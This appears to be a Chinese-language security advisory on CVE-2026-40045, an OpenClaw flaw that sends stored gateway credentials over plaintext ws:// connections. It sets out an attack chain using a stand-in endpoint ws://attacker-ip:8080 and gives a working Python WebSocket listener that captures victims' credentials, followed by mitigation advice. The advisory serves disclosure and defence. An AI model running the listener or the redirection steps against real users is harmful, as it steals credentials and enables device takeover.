IPBUF安全漏洞报告
English
CVE-2026-40045 CVSS 5.7 中危

CVE-2026-40045 OpenClaw凭据明文传输漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40045
漏洞类型
信息泄露
CVSS评分
5.7 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
OpenClaw

相关标签

信息泄露OpenClaw明文传输WebSocketCVE-2026-40045

漏洞概述

OpenClaw在2026.4.2之前的版本中存在安全设计缺陷。该程序接受非本地回环的明文ws://网关端点,并通过未加密的连接传输已存储的网关凭证。攻击者可以利用此漏洞伪造发现结果或精心制作设置代码,将客户端重定向到由攻击者控制的恶意端点。一旦连接建立,受害者的网关凭证将以明文形式泄露,攻击者可借此接管设备权限。

技术细节

该漏洞的核心成因是OpenClaw在验证网关端点时存在逻辑缺陷,且未强制实施传输层加密。在受影响版本中,系统不仅接受本地回环地址,还允许配置非本地的`ws://`(明文WebSocket)地址作为网关端点。攻击者利用这一特性,首先在局域网内搭建一个恶意的WebSocket服务节点。随后,通过伪造服务发现协议的响应报文,或者生成包含恶意端点URL的二维码/设置代码,诱导受害者进行操作(满足了UI:R用户交互的条件)。当受害者的OpenClaw客户端尝试连接该恶意端点以同步或验证状态时,它会将本地存储的高敏感度网关凭证封装在WebSocket数据帧中。由于使用的是`ws://`而非`wss://`,这些数据在网络上以明文形式传输。攻击者只需读取恶意服务器的接收日志或进行旁路抓包,即可直接获取凭证,进而实现对用户网关的未授权访问。

攻击链分析

STEP 1
1. 环境准备
攻击者在同一局域网内搭建恶意的WebSocket服务器,监听特定端口(如8080),并配置为使用非加密的ws://协议。
STEP 2
2. 诱导重定向
攻击者伪造网关发现结果,或者生成包含恶意端点URL(如ws://attacker-ip:8080)的设置代码/二维码,诱导受害者使用OpenClaw客户端进行扫描或配置。
STEP 3
3. 触发连接
受害者操作OpenClaw客户端,客户端根据伪造的信息尝试连接到攻击者控制的恶意端点。
STEP 4
4. 凭据截获
OpenClaw客户端通过未加密的WebSocket连接发送存储的网关凭证。攻击者通过服务器日志或抓包工具直接捕获明文凭证。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets # Malicious WebSocket server to capture credentials async def malicious_gateway(websocket): print("[+] Victim connected from: " + str(websocket.remote_address)) try: # Wait for OpenClaw to send the setup/credentials payload message = await websocket.recv() print(f"[+] Captured Plaintext Credentials: {message}") # Send a valid response to keep the session alive if needed response = {"status": "ok", "message": "Setup Complete"} await websocket.send(str(response)) except websockets.exceptions.ConnectionClosed: print("[-] Connection closed") async def main(): print("[+] Starting malicious WebSocket listener on ws://0.0.0.0:8080") async with websockets.serve(malicious_gateway, "0.0.0.0", 8080): await asyncio.Future() # run forever if __name__ == "__main__": asyncio.run(main())

影响范围

OpenClaw < 2026.4.2

防御指南

临时缓解措施
建议用户立即将OpenClaw更新至修复版本。在无法立即升级的情况下,应确保OpenClaw仅在受信任的隔离网络环境中运行,并严格监控网络出站连接,禁止连接未知的非加密WebSocket端点。同时,修改受影响网关的密码以防凭证泄露后被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表